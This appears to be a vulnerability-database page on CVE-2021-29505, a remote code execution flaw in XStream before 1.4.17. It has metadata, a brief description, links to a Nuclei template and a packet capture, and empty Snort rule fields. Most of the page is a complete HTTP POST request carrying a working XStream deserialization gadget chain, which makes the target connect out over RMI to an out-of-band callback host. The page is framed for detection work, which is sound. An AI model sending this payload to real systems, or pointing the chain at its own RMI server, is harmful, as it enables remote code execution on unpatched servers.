🔙 목록으로 돌아가기

CVE-2021-29505: XStream <1.4.17 - Remote Code Execution

TitleXStream <1.4.17 - Remote Code Execution
Authorpwnhxl
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
RemediationPatched in 1.4.17.
CVSS Score8.8
EPSS Score0.90349
CVE IDCVE-2021-29505
CWE IDCWE-502
Tags cve2021 cve oast vulhub xstream deserialization rce xstream_project vuln

🔍 Vulnerability Description

XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 3173
Content-Type: application/xml
Accept-Encoding: gzip

<java.util.PriorityQueue serialization='custom'>

    <unserializable-parents/>

    <java.util.PriorityQueue>

        <default>

            <size>2</size>

        </default>

        <int>3</int>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.org.apache.xpath.internal.objects.XString'>

                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>

                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>

                    <parsedMessage>true</parsedMessage>

                    <soapVersion>SOAP_11</soapVersion>

                    <bodyParts/>

                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>

                        <attachmentsInitialized>false</attachmentsInitialized>

                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>

                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>

                                    <names>

                                        <string>aa</string>

                                        <string>aa</string>

                                    </names>

                                    <ctx>

                                        <environment/>

                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>

                                            <java.rmi.server.RemoteObject>

                                                <string>UnicastRef</string>

                                                <string>d5jnnsple0o17b2h43tga4xkmo49k43ri.oast.pro</string>

                                                <int>1099</int>

                                                <long>0</long>

                                                <int>0</int>

                                                <long>0</long>

                                                <short>0</short>

                                                <boolean>false</boolean>

                                            </java.rmi.server.RemoteObject>

                                        </registry>

                                        <host>d5jnnsple0o17b2h43tg4k3drgt6q3dyu.oast.pro</host>

                                        <port>1099</port>

                                    </ctx>

                                </candidates>

                            </aliases>

                        </nullIter>

                    </sm>

                </message>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

    </java.util.PriorityQueue>

</java.util.PriorityQueue>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29505.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-29505.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A